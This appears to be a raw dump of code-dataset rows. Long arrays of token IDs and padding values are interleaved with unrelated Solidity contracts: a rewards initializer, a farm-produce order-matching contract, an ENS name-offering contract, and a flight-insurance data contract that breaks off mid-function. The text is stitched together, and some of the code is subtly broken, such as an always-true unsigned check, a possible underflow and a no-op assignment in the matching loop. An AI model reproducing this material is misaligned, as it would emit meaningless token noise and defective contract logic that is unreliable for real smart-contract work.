405,
374,
16,
315,
49,
2753,
1176,
30,
14143,
10101,
374,
8863,
203,
3639,
2583,
12,
4963,
3088,
1283,
1435,
405,
374,
16,
315,
49,
2753,
1176,
30,
14143,
10101,
1347,
2078,
3088,
1283,
353,
374,
8863,
203,
203,
3639,
2254,
5034,
2807,
54,
5857,
273,
336,
18650,
4568,
7675,
266,
2913,
2173,
9535,
31,
203,
3639,
2254,
5034,
1024,
54,
5857,
273,
2807,
54,
5857,
18,
1289,
12,
8949,
18,
16411,
12,
21,
73,
2643,
2934,
2892,
12,
4963,
3088,
1283,
1435,
10019,
203,
203,
3639,
490,
2753,
1176,
4568,
3778,
394,
4568,
273,
490,
2753,
1176,
4568,
12590,
203,
5411,
813,
30,
1203,
18,
2696,
16,
203,
5411,
19890,
8872,
30,
3844,
16,
203,
5411,
19890,
2173,
9535,
30,
1024,
54,
5857,
203,
3639,
15549,
203,
3639,
312,
2753,
1176,
5623,
18,
6206,
12,
2704,
4568,
1769,
203,
203,
3639,
331,
1273,
18,
4626,
5912,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
1769,
203,
3639,
3626,
534,
359,
1060,
8602,
12,
3576,
18,
15330,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x1af5bcf49647B0162b9fB09420432408D0975aE7/sources/contracts/Rewards.sol
|
Emitted after reward added Emitted whenever any user claim rewards Emitted after adding new rewards token into rewardTokens array Emitted when distributor approval is updated
|
function initialize(IESMET esMET_) external initializer {
require(address(esMET_) != address(0), "esMET-is-null");
__Governable_init();
esMET = esMET_;
}
| 2,910,739 |
[
1,
1514,
11541,
1839,
19890,
3096,
512,
7948,
17334,
1281,
729,
7516,
283,
6397,
512,
7948,
1839,
6534,
394,
283,
6397,
1147,
1368,
19890,
5157,
526,
512,
7948,
1347,
1015,
19293,
23556,
353,
3526,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4046,
12,
8805,
18315,
5001,
18315,
67,
13,
3903,
12562,
288,
203,
3639,
2583,
12,
2867,
12,
281,
18315,
67,
13,
480,
1758,
12,
20,
3631,
315,
281,
18315,
17,
291,
17,
2011,
8863,
203,
203,
3639,
1001,
43,
1643,
6914,
67,
2738,
5621,
203,
203,
3639,
5001,
18315,
273,
5001,
18315,
67,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.17;
contract FoodChain {
struct Field {
string Product;
uint Yield;
bool IsFilled;
}
struct Farmer {
address Uid;
string Name;
string Surname;
uint256 Longitude;
uint256 Lattitude;
mapping (string => Field) Land;
}
struct Buyer {
address Uid;
string Name;
string Location;
}
struct BuyOrder {
uint Id;
address Buyer;
string Product;
uint Quantity;
uint Price;
}
struct CooperativeContract {
uint Uid;
BuyOrder Order;
// Farmer to What quantity of string does each farmer put for sale
}
uint totalOrders = 0;
Farmer[] Farmers;
mapping (address=>Buyer) public Buyers;
mapping (address=>uint) BuyerActiveBids;
mapping (uint => mapping (address => uint)) ShareInCooperative;
BuyOrder[] allOrders;
CooperativeContract[] liveContracts;
function registerFarmer(address Uid,
string Name,
string Surname,
uint8 Longitude,
uint8 Lattitude) public
{
Farmers.push(Farmer({
Uid : Uid,
Name : Name,
Surname : Surname,
Longitude : Longitude,
Lattitude : Lattitude
}));
}
function registerFarmerField(address farmerUid, string Product, uint yield) public {
for (uint i = 0; i < Farmers.length; i++) {
if (Farmers[i].Uid == farmerUid) {
Farmers[i].Land[Product] = Field({
Product : Product,
Yield : yield,
IsFilled : false
});
}
}
}
function registerBuyer(address Uid,
string Name,
string Location) public
{
Buyers[Uid] = Buyer({
Uid : Uid,
Name : Name,
Location : Location
});
}
function putAnOrder(string Product, uint quantity, uint price, address buyerId) public returns (uint) {
uint newOrderId = ++totalOrders;
var order = BuyOrder({
Id : newOrderId,
Buyer : buyerId,
Product : Product,
Quantity : quantity,
Price : price
});
BuyerActiveBids[buyerId] = newOrderId;
allOrders.push(order);
return newOrderId;
}
function cancelOrder(address buyerId, uint orderId) public {
for (uint256 j; j < allOrders.length; j++) {
if (allOrders[j].Buyer == buyerId && allOrders[j].Id == orderId) {
allOrders[j].Quantity = 0;
break;
}
}
}
function matchFarmersAndBuyers() public {
for (uint256 j; j < allOrders.length; j++) {
BuyOrder memory order = allOrders[j];
var orderQuantity = order.Quantity;
uint256 filledQuantity = 0;
//todo create a cooperative contract
CooperativeContract memory coopContract = CooperativeContract({
Uid : order.Id,
Order : order});
for (uint256 i; i < Farmers.length ; i++) {
var farmer = Farmers[i];
var field = farmer.Land[order.Product];
if (field.Yield == 0 || field.IsFilled)
continue;
var pendingQuantity = orderQuantity - filledQuantity;
if (pendingQuantity >= 0) {
var quantityToFill = min(pendingQuantity, field.Yield);
filledQuantity += quantityToFill;
field.Yield -= quantityToFill;
//var farmerid = farmer.Id;
ShareInCooperative[j][farmer.Uid] = quantityToFill;
//todo add farmer to cooperative contract
if (field.Yield == 0)
field.IsFilled = true;
}
coopContract = coopContract;
if (pendingQuantity == 0)
break;
}
liveContracts.push(coopContract);
}
}
function max(uint a, uint b) pure public returns (uint) {
if (a > b)
return a;
else
return b;
}
function min(uint a, uint b) pure public returns (uint) {
if (a < b)
return a;
else
return b;
}
}
|
todo create a cooperative contractvar farmerid = farmer.Id;todo add farmer to cooperative contract
|
function matchFarmersAndBuyers() public {
for (uint256 j; j < allOrders.length; j++) {
BuyOrder memory order = allOrders[j];
var orderQuantity = order.Quantity;
uint256 filledQuantity = 0;
CooperativeContract memory coopContract = CooperativeContract({
Uid : order.Id,
Order : order});
for (uint256 i; i < Farmers.length ; i++) {
var farmer = Farmers[i];
var field = farmer.Land[order.Product];
if (field.Yield == 0 || field.IsFilled)
continue;
var pendingQuantity = orderQuantity - filledQuantity;
if (pendingQuantity >= 0) {
var quantityToFill = min(pendingQuantity, field.Yield);
filledQuantity += quantityToFill;
field.Yield -= quantityToFill;
ShareInCooperative[j][farmer.Uid] = quantityToFill;
if (field.Yield == 0)
field.IsFilled = true;
}
coopContract = coopContract;
if (pendingQuantity == 0)
break;
}
liveContracts.push(coopContract);
}
}
| 6,475,139 |
[
1,
9012,
752,
279,
1825,
4063,
1535,
6835,
1401,
284,
4610,
264,
350,
273,
284,
4610,
264,
18,
548,
31,
9012,
527,
284,
4610,
264,
358,
1825,
4063,
1535,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
845,
42,
4610,
414,
1876,
38,
9835,
414,
1435,
1071,
288,
203,
540,
203,
3639,
364,
261,
11890,
5034,
525,
31,
525,
411,
777,
16528,
18,
2469,
31,
525,
27245,
288,
203,
5411,
605,
9835,
2448,
3778,
1353,
273,
777,
16528,
63,
78,
15533,
203,
5411,
569,
1353,
12035,
273,
1353,
18,
12035,
31,
203,
5411,
2254,
5034,
6300,
12035,
273,
374,
31,
203,
5411,
7695,
4063,
1535,
8924,
3778,
1825,
556,
8924,
273,
7695,
4063,
1535,
8924,
12590,
203,
4766,
565,
30478,
294,
1353,
18,
548,
16,
203,
4766,
565,
4347,
294,
1353,
22938,
203,
2398,
203,
2398,
203,
5411,
364,
261,
11890,
5034,
277,
31,
277,
411,
478,
4610,
414,
18,
2469,
274,
277,
27245,
288,
203,
7734,
569,
284,
4610,
264,
273,
478,
4610,
414,
63,
77,
15533,
203,
7734,
569,
652,
273,
284,
4610,
264,
18,
29398,
63,
1019,
18,
4133,
15533,
203,
7734,
309,
261,
1518,
18,
16348,
422,
374,
747,
652,
18,
2520,
29754,
13,
7010,
10792,
1324,
31,
203,
1171,
203,
1171,
569,
4634,
12035,
273,
1353,
12035,
300,
6300,
12035,
31,
203,
203,
7734,
309,
261,
9561,
12035,
1545,
374,
13,
288,
203,
203,
10792,
569,
10457,
774,
8026,
273,
1131,
12,
9561,
12035,
16,
652,
18,
16348,
1769,
203,
10792,
203,
10792,
6300,
12035,
1011,
10457,
774,
8026,
31,
203,
203,
10792,
652,
18,
16348,
3947,
10457,
774,
8026,
31,
203,
10792,
25805,
382,
4249,
4063,
1535,
63,
78,
6362,
74,
4610,
264,
18,
11994,
65,
273,
10457,
774,
8026,
31,
203,
203,
2
] |
pragma solidity ^0.5.0;
/**
* @title Offering
* @dev Contains base logic for an offering and is meant to be extended.
*/
import "@ensdomains/ens/contracts/ENS.sol";
import "@ensdomains/ens/contracts/HashRegistrar.sol";
import "./OfferingRegistry.sol";
import "openzeppelin-solidity/contracts/utils/Address.sol";
contract Offering {
struct Offering {
// Order here is important for gas optimisations. Must be fitting into uint265 slots.
bytes32 node; // ENS node
// WARNING: The contract DOES NOT perform ENS name normalisation, which is up to responsibility of each offchain UI!
string name; // full ENS name
bytes32 labelHash; // hash of ENS label
address originalOwner; // owner of ENS name, creator of offering
address newOwner; // Address of a new owner of ENS name, buyer
uint price; // Price of the offering, or the highest bid in auction
uint128 version; // version of offering contract
uint64 createdOn; // Time when offering was created
uint64 finalizedOn; // Time when ENS name was transferred to a new owner
}
Offering public offering;
// Hardcoded ENS address. For development will be replaced after compilation. This way we save gas to users deploying offering contracts.
ENS public ens = ENS(0x314159265dD8dbb310642f98f50C066173C1259b);
// Hardcoded namehash of "eth"
bytes32 public constant rootNode = 0x93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae;
// Placeholder to be replaced after compilation. This way we save gas to users deploying offering contracts.
OfferingRegistry public offeringRegistry = OfferingRegistry(0xfEEDFEEDfeEDFEedFEEdFEEDFeEdfEEdFeEdFEEd);
// Placeholder to be replaced after compilation. This way we save gas to users deploying offering contracts.
address public emergencyMultisig = 0xDeEDdeeDDEeDDEEdDEedDEEdDEeDdEeDDEEDDeed;
constructor(ENS _ens, OfferingRegistry _offeringRegistry, address _emergencyMultisig) public {
ens = _ens;
offeringRegistry = _offeringRegistry;
emergencyMultisig = _emergencyMultisig;
}
/**
* @dev Modifier to make a function callable only for offering creator
*/
modifier onlyOriginalOwner() {
require(isSenderOriginalOwner());
_;
}
/**
* @dev Modifier to make a function callable only for Namebazaar's Emergency Multisig wallet
*/
modifier onlyEmergencyMultisig() {
require(isSenderEmergencyMultisig());
_;
}
/**
* @dev Modifier to make a function callable only is called by Namebazaar's Emergency Multisig wallet
*/
modifier onlyWithoutNewOwner() {
require(offering.newOwner == address(0));
_;
}
/**
* @dev Modifier to make a function callable only when offering contract has name ownership
*/
modifier onlyWhenContractIsNodeOwner() {
require(isContractNodeOwner());
_;
}
/**
* @dev Modifier to make a function callable only when there's not emergency pause
*/
modifier onlyWhenNotEmergencyPaused() {
require(!offeringRegistry.isEmergencyPaused());
_;
}
/**
* @dev Modifier to make a function callable only when offering contract doesn't have name ownership
*/
modifier onlyWhenContractIsNotNodeOwner() {
require(!isContractNodeOwner());
_;
}
/**
* @dev Constructor of offering
* Should be callable just once, by factory
*/
function construct(
bytes32 _node,
string memory _name,
bytes32 _labelHash,
address _originalOwner,
uint128 _version,
uint _price
)
public
onlyWhenNotEmergencyPaused
{
require(offering.createdOn == 0); // Prevent constructing multiple times
offering.node = _node;
offering.name = _name;
offering.labelHash = _labelHash;
offering.originalOwner = _originalOwner;
offering.version = _version;
offering.createdOn = uint64(now);
offering.price = _price;
}
/**
* @dev Unregisters offering for not displaying it in UI
* Cannot be run if contract has ownership or it was already transferred to new owner
*/
function unregister()
public
onlyOriginalOwner
onlyWithoutNewOwner
onlyWhenContractIsNotNodeOwner
{
// New owner is not really this address, but it's the way to recogize if offering
// was unregistered without having separate var for it, which is costly
offering.newOwner = address(0xdeaddead);
fireOnChanged("unregister");
}
/**
* @dev Transfers ENS name ownership back to original owner
* Can be run only by original owner or emergency multisig
* Sets newOwner to special address 0xdead
*/
function reclaimOwnership()
public
onlyWithoutNewOwner
{
bool isEmergency = isSenderEmergencyMultisig();
require(isEmergency || isSenderOriginalOwner());
if (isContractNodeOwner()) {
doTransferOwnership(offering.originalOwner);
}
if (isEmergency) {
// New owner is not really this address, but it's the way to recogize if
// was disabled in emergency without having separate var for it, which is costly
offering.newOwner = address(0xdead);
}
fireOnChanged("reclaimOwnership");
}
/**
* @dev Transfers name ownership in context of offering contract
* Cannot be run if ownership was already transferred to new owner
* @param _newOwner address New owner of ENS name
*/
function transferOwnership(address _newOwner)
internal
onlyWhenNotEmergencyPaused
onlyWithoutNewOwner
{
offering.newOwner = _newOwner;
offering.finalizedOn = uint64(now);
doTransferOwnership(_newOwner);
fireOnChanged("finalize");
}
/**
* @dev Function to actually do ENS transfer
* Top level names should be transferred via registrar, so deed is transferred too
* @param _newOwner address New owner of ENS name
*/
function doTransferOwnership(address _newOwner)
private
{
address payable newOwner = address(uint160(_newOwner));
if (isNodeTLDOfRegistrar()) {
HashRegistrar(ens.owner(rootNode)).transfer(offering.labelHash, newOwner);
} else {
ens.setOwner(offering.node, newOwner);
}
}
function doSetSettings(uint _price)
internal
{
offering.price = _price;
}
function fireOnChanged(bytes32 eventType, uint[] memory extraData)
internal
{
offeringRegistry.fireOnOfferingChanged(offering.version, eventType, extraData);
}
function fireOnChanged(bytes32 eventType) internal {
fireOnChanged(eventType, new uint[](0));
}
/**
* @dev Returns whether offering contract is owner of ENS name
* For top level names, offering contract must be also owner of registrar deed
* @return bool true if contract is ENS node owner
*/
function isContractNodeOwner() public view returns(bool) {
if (isNodeTLDOfRegistrar()) {
address deed;
(,deed,,,) = HashRegistrar(ens.owner(rootNode)).entries(offering.labelHash);
return ens.owner(offering.node) == address(this) &&
Deed(deed).owner() == address(this);
} else {
return ens.owner(offering.node) == address(this);
}
}
/**
* @dev Exchanges funds of new owner for ownership of ENS name owner
* msg.value must exactly equal to offering price
*/
function buy()
public
payable
{
require(msg.value == offering.price);
address payable origOwner = address(uint160(offering.originalOwner));
origOwner.transfer(offering.price);
transferOwnership(msg.sender);
}
/**
* @dev Returns whether offering node is top level name of registrar or subname
* @return bool true if offering node is top level name of registrar
*/
function isNodeTLDOfRegistrar() public view returns (bool) {
return offering.node == keccak256(abi.encodePacked(rootNode, offering.labelHash));
}
/**
* @dev Returns whether msg.sender is original owner of ENS name, offering creator
* @return bool true if msg.sender is original owner
*/
function isSenderOriginalOwner() public view returns(bool) {
return msg.sender == offering.originalOwner;
}
/**
* @dev Returns whether msg.sender is emergency multisig address
* @return bool true if msg.sender is emergency multisig
*/
function isSenderEmergencyMultisig() public view returns(bool) {
return msg.sender == emergencyMultisig;
}
/**
* @dev Returns whether offerring was cancelled in emergency, by emergency multisig
* @return bool true if offering was cancelled in emergency
*/
function wasEmergencyCancelled() public view returns(bool) {
return offering.newOwner == address(0xdead);
}
}
|
* @dev Modifier to make a function callable only when offering contract has name ownership/
|
modifier onlyWhenContractIsNodeOwner() {
require(isContractNodeOwner());
_;
}
| 5,535,000 |
[
1,
9829,
358,
1221,
279,
445,
4140,
1338,
1347,
10067,
310,
6835,
711,
508,
23178,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
1338,
9434,
8924,
2520,
907,
5541,
1435,
288,
203,
3639,
2583,
12,
291,
8924,
907,
5541,
10663,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.8;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
uint256 private entrancyCounter; // Re-entrancy counter to prevent re-entrancy attack
uint256 private totalAirlines; // total of actived airline
mapping(address => uint256) private airlineFund; // Fund submit by airline
mapping(address => Airline) private airlines; // mapping of all registered airlines
mapping(bytes32 => Flight) private flights; // mapping of all registered flights
mapping(address => uint256) private passengerCredits; // Credit relate to passengers
mapping(address => uint256) private authorizedContracts; // Authorize contracts
/********************************************************************************************/
/* STRUCTS && ENUMS */
/********************************************************************************************/
struct Airline {
string name; // name of air line
address payable airlineAddress; // airline address
uint fund; // the fund airline submit
AirlineState airlineState; // State of airline
address[] approveAirlines; // airlines approve for this airline to be registered
}
enum AirlineState {
Registering,
Registered,
Actived
}
struct Flight {
string flight;
bool isRegistered;
uint8 statusCode;
uint256 updatedTimestamp;
address airline;
bool isProcessed;
address[] insurees; // customers who purchase insurance of this flight
mapping(address => uint256) insuranceAmount; // insurance amount relate to each insuree
}
/********************************************************************************************/
/* CONSTRUCTORS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner.
*/
constructor
(
address payable airlineAddress,
string memory airlineName
)
public
{
contractOwner = msg.sender;
// Init first airline and approve it
_initFirstAirline(airlineAddress, airlineName);
}
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
// The airline is registering.
event Registering(address airline);
// The airline has become registered.
event Registered(address airline);
// The airline has become actived.
event Actived(address airline);
// Flight is registed.
event FlightRegistered(string flight, uint256 timestamp);
// Customer buy insurance for this flight.
event InsuranceBought(address airline, string flight, uint256 timestamp);
// Flight is processed.
event FlightProcessed(address airline, string flight, uint256 timestamp);
// Credit payouts to insuree.
event CreditPayout(address insuree, uint256 amount);
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
/**
* @dev Require the caller is an authorized contract.
*/
modifier requireAuthorizedContract()
{
require(authorizedContracts[msg.sender] == 1, "The caller is not authorized");
_;
}
/**
* @dev Modifier that stop re-entrancy from happen.
*/
modifier entrancyGuard()
{
entrancyCounter = entrancyCounter.add(1);
uint256 guard = entrancyCounter;
_;
require(guard == entrancyCounter, "Re-entrancy is not allowed");
}
/**
* @dev Require the airline is new and has not ever on the queue.
*/
modifier requireNewAirline(address airline)
{
require(airlines[airline].airlineAddress == address(0), "The airline is already on the contract");
_;
}
/**
* @dev Required the airline is registering.
*/
modifier requireRegisteringAirline(address airline)
{
require(airlines[airline].airlineState == AirlineState.Registering, "The airline is not registering");
_;
}
/**
* @dev Required the caller is a registered airline.
*/
modifier requireRegisteredAirline()
{
require(airlines[msg.sender].airlineState == AirlineState.Registered, "The caller is not registered");
_;
}
/**
* @dev Required the caller is an actived airline.
*/
modifier requireActivedAirline()
{
require(airlines[msg.sender].airlineState == AirlineState.Actived, "The caller is not actived");
_;
}
/**
* @dev Require the caller has not ever approve this airline.
*/
modifier requireNewApproval(address airline)
{
bool duplicated = false;
address[] memory approveAirlines = airlines[airline].approveAirlines;
for(uint i = 0; i<approveAirlines.length; i++)
if (approveAirlines[i] == msg.sender)
{
duplicated = true;
break;
}
require(duplicated == false, "Duplicate approval found");
_;
}
/**
* @dev Require the caller have enough sufficent fund of 10 ether
*/
modifier requireMin10Ether()
{
require(msg.value >= 10 ether, "Insufficient fund");
_;
}
/**
* @dev Require the caller to submit up to 1 ether.
*/
modifier requireMax1Ether()
{
require(msg.value <= 1 ether, "Fund limit up to 1 ether");
_;
}
/**
* Require the caller is new insuree for this flight.
*/
modifier requireNewBuyer(address airline, string memory flight, uint256 timestamp)
{
bytes32 key = _getFlightKey(airline, flight, timestamp);
require(flights[key].insuranceAmount[msg.sender] == 0, "Flight insurance already bought");
_;
}
/**
* Require the caller is new insuree for this flight.
*/
modifier requireFlightNotProcessed(address airline, string memory flight, uint256 timestamp)
{
bytes32 key = _getFlightKey(airline, flight, timestamp);
require(flights[key].isProcessed == false, "Flight is already processed");
_;
}
/**
* Require the passenger has positive credit to withdraw.
*/
modifier requirePositiveCredit()
{
require(passengerCredits[msg.sender] > 0, "The caller does not have positive credit");
_;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
* @return A bool that is the current operating status
*/
function isOperational()
public
view
returns(bool)
{
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
requireContractOwner
{
operational = mode;
}
/**
* @dev Initialize first airline when deploy the contract
*/
function _initFirstAirline
(
address payable airlineAddress,
string memory airlineName
)
private
{
Airline memory airline;
airline.airlineAddress = airlineAddress;
airline.name = airlineName;
airline.airlineState = AirlineState.Registered;
airlines[airlineAddress] = airline;
airlines[airlineAddress].approveAirlines.push(msg.sender);
emit Registered(airlineAddress);
}
/**
* @dev Taking parameter to init an airline object and add it to a queue.
*
*/
function _initAirline
(
address payable airlineAddress,
string memory airlineName
)
private
{
Airline memory airline;
airline.airlineAddress = airlineAddress;
airline.name = airlineName;
airline.airlineState = AirlineState.Registering;
airlines[airlineAddress] = airline;
}
/**
* @dev Assess the registration of an airline.
* If totalAirline is less than 5, the registration is approved, else, requires multi-party consensus of 50% of registered airlines.
*/
function _assessRegistration
(
address airlineAddress
)
private
{
if (totalAirlines <= 4 || airlines[airlineAddress].approveAirlines.length.mul(2) >= totalAirlines)
{
